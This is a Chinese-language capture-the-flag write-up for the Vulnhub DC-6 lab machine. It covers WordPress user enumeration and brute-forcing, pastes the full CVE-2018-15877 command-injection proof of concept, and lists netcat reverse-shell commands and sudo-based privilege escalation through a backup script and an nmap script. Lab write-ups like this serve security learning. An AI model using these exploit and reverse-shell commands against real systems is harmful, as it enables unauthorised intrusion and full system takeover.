Vulnhub靶机 DC-6

在这里插入图片描述
确定靶机192.168.0.141
开放端口80,查看一下

nmap -sP 192.168.0.0/24
nmap -sV 192.168.0.141

不能直接查看

在这里插入图片描述在这里插入图片描述

vim /etc/hosts  添加一下

在这里插入图片描述

可以访问了,发现是wordpass,上wpscan在这里插入图片描述在这里插入图片描述
找到了五个用户名,把五个用户名写进一个txt文件,当作用户名字典
kali自带一个字典rockyou.txt

wpscan --url http://wordy -eu

在这里插入图片描述一点也不耗时,才一个小时,刺激
网上找了一下后台,wp-admin
等不了了,直接在网上找答案吧
账号:mark
密码:helpdesk01

wpscan --url http://wordy -U /Desktop/user.txt -P /usr/share/wordlists/rockyou.txt

在这里插入图片描述

<!--
About:
===========
Component: Plainview Activity Monitor (Wordpress plugin)
Vulnerable version: 20161228 and possibly prior
Fixed version: 20180826
CVE-ID: CVE-2018-15877
CWE-ID: CWE-78
Author:
- LydA(c)ric Lefebvre (https://www.linkedin.com/in/lydericlefebvre)

Timeline:
===========
- 2018/08/25: Vulnerability found
- 2018/08/25: CVE-ID request
- 2018/08/26: Reported to developer
- 2018/08/26: Fixed version
- 2018/08/26: Advisory published on GitHub
- 2018/08/26: Advisory sent to bugtraq mailing list

Description:
===========
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected                                                                                                                                                                        
XSS. Combined, these three vulnerabilities can lead to Remote Command                                                                                                                                                                      
Execution just with an admin click on a malicious link.                                                                                                                                                                                    
                                                                                                                                                                                                                                           
References:                                                                                                                                                                                                                                
===========                                                                                                                                                                                                                                
https://github.com/aas-n/CVE/blob/master/CVE-2018-15877/                                                                                                                                                                                   
                                                                                                                                                                                                                                           
PoC:                                                                                                                                                                                                                                       
-->

<html>
  <!--  Wordpress Plainview Activity Monitor RCE
        [+] Version: 20161228 and possibly prior
        [+] Description: Combine OS Commanding and CSRF to get reverse shell
        [+] Author: LydA(c)ric LEFEBVRE
        [+] CVE-ID: CVE-2018-15877
        [+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
        [+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
      <input type="hidden" name="lookup" value="Lookup" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

看见插件,找漏洞
远程命令执行漏洞
已经给出利用了

在这里插入图片描述
在这里插入图片描述

输入一个域名,bp抓包
域名后面接|id
有输出
直接上nc

nc -e /bin/sh 192.168.0.128 4444

在这里插入图片描述

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
查看文件,给出
账号:graham
密码:GSo7isUM1D4

在这里插入图片描述
SSH登录刚才给出的账号

ssh graham@192.168.0.141 -P

在这里插入图片描述

在这里插入图片描述

jens没有密码
看到backups.sh
是一个打包文件

sudo -l

在这里插入图片描述

/bin/bash写入文件
运行

echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh

在这里插入图片描述

继续查看可执行的操作
nmap提权

sudo -l

在这里插入图片描述

echo ‘os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
cd /root
cat theflag.txt

拿到flag!!!!
一个星期时间,一个靶机也没刷,也不知道自己干嘛了,还以为之前的知识都忘了呢,还好没忘,感觉还比之前更熟练了,半天就可以搞定一个靶机,加油!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值